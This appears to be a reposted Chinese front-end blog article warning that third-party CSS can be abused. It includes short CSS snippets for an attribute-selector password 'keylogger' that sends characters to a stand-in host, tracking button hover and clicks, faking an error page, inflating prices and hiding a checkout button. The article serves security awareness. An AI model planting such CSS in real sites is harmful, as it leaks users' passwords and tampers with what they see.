前端读者 | 别人写的css,你敢用吗?

本文来自@yeaseonzhang;链接:http://yeaseonzhang.github.io/2018/04/10/别人写的css,你敢用吗?/

CSS能做的东西还是很多的,随着CSS Houdini(胡迪尼)的标准化,会变得更强大...

正文从这里开始 ~

为了实现高效开发,大多数时候会选择别人实现好的库/组件引用到自己的项目中,但是这样真的安全吗?

大多数web开发者认为只要不使用别人的js,安全就会有保证。Too young, too naive,殊不知“黑客”已经开始在css上做手脚了。

在浏览器设置中用户可以禁用js,但是css却是没有办法禁用的。

首先聊一聊使用第三方资源,能够造成的危害。

图片

<img src="https://img.com/iphone6s.jpg">

引用第三方图片资源,可能会出现2个问题:

  • 图片资源失效
  • 图片资源被替换

201855112740

上图展示了使用第三方图片可能带来的后果,图片资源只会影响自身的状态而不会影响其他部分。

脚本Javascript

<script src="http://example.com/script.js"></script>

脚本的作用范围就不是图片能够比拟的了,脚本能够随意控制整个页面。

  • 读取、篡改页面内容
  • 监控用户行为
  • 使用用户浏览器的算力进行挖矿
  • 使用用户cookie做请求,并转发响应
  • 读取、篡改浏览器storage
  • More

注:storage/indexDB 如果被更改,即使删除了脚本,这些更改仍然不可逆。

只有在完全信任的情况下,才会选择加载第三方脚本。

CSS

css在作用范围的方面更加接近于js,因为它同样是在整个页面生效。

css能在以下几个方面对页面进行操作:

  • 增、删和改页面内容
  • 根据页面内容发起请求
  • 响应用户交互

与js相比,css不能做到的是修改storage,也不能用来挖矿。

键盘记录器

键盘记录器,指的是页面会记录用户的输入。目前这种行为只存在于使用React/类React框架的页面。

input[type="password"][value$="p"] {
    background: url(//example.com/password?p);
}

如果密码输入框,输入以p结尾的密码,就会发起一个//exaple.com/password?p请求。浏览器默认不会记住input输入框的输入,这也就是为什么说这种行为只存在于使用React/类React框架的页面中,下面截取两个例子。

201855113152

JD主站没有使用React/类React框架,输入框的内容不会再input标签中显示value属性

201855113214

instagram使用的是React框架,会把输入框的内容同步显示在input的value属性中。

隐藏内容

通过一些技巧,将真正的页面内容不展示给用户。

body {
    display: none;
}
html::after {
    content: 'HTTP 500 Server Error';
}

上例将真正的主体内容隐藏,展示给用户HTTP 500错误。

增加内容

.price-value::after {
    content: '8';
}

201855113428

商品涨价了诶,估计连卖家都不知道。遇到这种情况用户一般都不会产生购买欲望了。

移动内容

.move-purchase-button {
    opacity: 0;
    position: absolute;
    top: 100px;
    left: 100px;
}

201855113518

结算按钮被第三方css就这样搞没了,用户根本没办法完成购买行为,这种情况对电商网站很伤,导致“只能看不能买”。

监控用户交互

.login-button:hover {
    background: url('//example.com/login-button-hover');
}
.login-button:active {
    background: url('//example.com/login-button-active');
}

通过上面的代码,可以用来检测用户在登录按钮的交互状态,是hover还是active(点击),不同的状态会发送不同的请求。

如果页面中适量增加类似css代码,可以有用来做用户画像分析。

原文地址:https://www.cnblogs.com/chenrf/p/9911689.html